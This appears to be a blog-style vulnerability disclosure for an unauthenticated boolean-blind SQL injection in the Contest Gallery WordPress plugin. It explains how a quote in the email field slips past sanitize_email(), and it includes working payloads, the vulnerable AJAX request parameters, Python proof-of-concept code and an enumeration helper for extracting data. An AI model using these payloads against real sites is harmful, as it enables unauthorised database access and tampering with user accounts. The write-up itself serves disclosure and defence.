The Contest Gallery WordPress plugin, version 28.1.4, contains a critical Boolean-Blind SQL Injection vulnerability in the admin-ajax.php endpoint. An unauthenticated attacker can exploit this flaw to manipulate SQL queries, invalidate user activation keys, and compromise database integrity.
Root Cause
The vulnerability resides in the function responsible for resending confirmation emails (post_cg1l_resend_unconfirmed_mail_frontend). The cgl_mail parameter is received via POST and handled as follows:
$ReceiverMail = sanitize_email($_POST['cgl_mail']);
$wpdb->get_row("SELECT ... WHERE Field_Content = '$ReceiverMail'");
Why sanitize_email() is Insufficient
WordPress's sanitize_email() function validates email format according to RFC 5321, but does NOT escape SQL characters. Worse: the single quote_ (')_ is explicitly allowed in the local part of the email (before the @), enabling arbitrary SQL injection.
Bypass Example:
aaaaaaa'OR/**/1=1#@test.com
_-> survives sanitization_
/**/ -> MySQL comment replaces spaces
OR 1=1 -> always true condition_
# -> comments out the remainder of the query_
Exploitation Explanation (step by step)
The exploitation is Boolean-Blind, meaning the attacker cannot see returned data directly but infers information through differences in HTTP responses (status, body size, application behavior).
Vulnerable Endpoint
POST /wp-admin/admin-ajax.php
Request Parameters:
- action: post_cg1l_resend_unconfirmed_mail_frontend,description: Routes to vulnerable function
- cgl_mail: 'OR/**/1=1#@test.com - description : SQL injection vector
- cgl_page_id: 1 - description Auxiliary parameter
- cgl_activation_key: description (empty) Not needed for exploit
- cg_nonce: valid nonce - description CSRF protection (collectable)
Functional Payload
aaaaaaa'OR/**/1=1#@test.com
Original vulnerable query:
SELECT * FROM wp_contest_gal1ery_create_user_entries
WHERE Field_Content = 'INJECTION_HERE'
LIMIT 1
Query after injection (TRUE):
SELECT * FROM wp_contest_gal1ery_create_user_entries
WHERE Field_Content = 'aaaaaaa'OR/**/1=1#@test.com'
LIMIT 1
WHERE Field_Content = 'aaaaaaa' OR 1=1 -- commented out the rest
Since 1=1 is always true, the query returns the first available record. The plugin then takes this result and generates a new activation_key, invalidating the original key of the affected user.
TRUE vs FALSE Distinction
TRUE : 'OR/**/1=1#@test.com - Query returns records ---> new activation_key generated
FALSE : 'OR/**/1=2#@test.com - Query returns empty ---> no plugin action
This behavioral difference enables boolean enumeration (extracting data one bit at a time).
Code Theory Explanation
The exploit implements a boolean-blind probe to detect the vulnerability and demonstrate its impact through behavioral differences between true and false conditions.
Code Structure
def send_payload(mail):
data = {
"action": "post_cg1l_resend_unconfirmed_mail_frontend",
"cgl_mail": mail,
"cgl_page_id": "1",
"cgl_activation_key": "",
"cg_nonce": NONCE,
}
return requests.post(URL, data=data)
Why This Structure Works:
Correct endpoint:admin-ajax.php is WordPress's universal AJAX handler
Specific action: post_cg1l_resend_unconfirmed_mail_frontend is registered without authentication (wp_ajax_nopriv_*)
cgl_mail parameter: injection vector that flows directly into the SQL query
Detection Logic
r_true = send_payload("aaaaaaa'OR/**/1=1#@test.com")
if r_true.status_code == 200:
status_code = r_true.status_code
Boolean-Blind Inference Theory:
Status
'OR//1=1# TRUE Yes Yes 200
'OR//1=2# FALSE No No 200 (different body)
Important note: The current code only checks status 200. A complete exploit would compare body length (len(r_true.text)) or specific content.
The "Magic" Payload
payload = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"
Payload Anatomy:
'OR/**/1=1#@test.com
│ │ │ │
│ │ │ └── # → comments out the rest of the query (including '@test.com' and LIMIT 1)
│ │ └── 1=1 → always true condition
│ └── /**/ → MySQL comment (ignores spaces)
└── ' → closes the query's string literal
What the Code Proves (and what it doesn't yet do)
The vulnerability exists
The payload bypasses sanitize_email()
Status 200 is returned
The endpoint is accessible without authentication
Response comparison (TRUE vs FALSE)
Enumeration loop (character by character)
Extraction of emails, activation_keys, or password hashes
Example Evolution for Enumeration
def boolean_query(condition):
payload = f"'OR/**/{condition}#@test.com"
response = send_payload(payload)
# If body size larger than baseline → TRUE
return len(response.text) > baseline_length
# Usage: boolean_query("ASCII(SUBSTRING(user_login,1,1))>97")
Theoretical Conclusion
The script serves as a minimum Proof of Concept (PoC) that:
Confirms the existence of SQL injection
Demonstrates sanitize_email() bypass
Establishes the foundation for a complete boolean exploit
Documents the behavioral difference between TRUE and FALSE conditions
Top comments (0)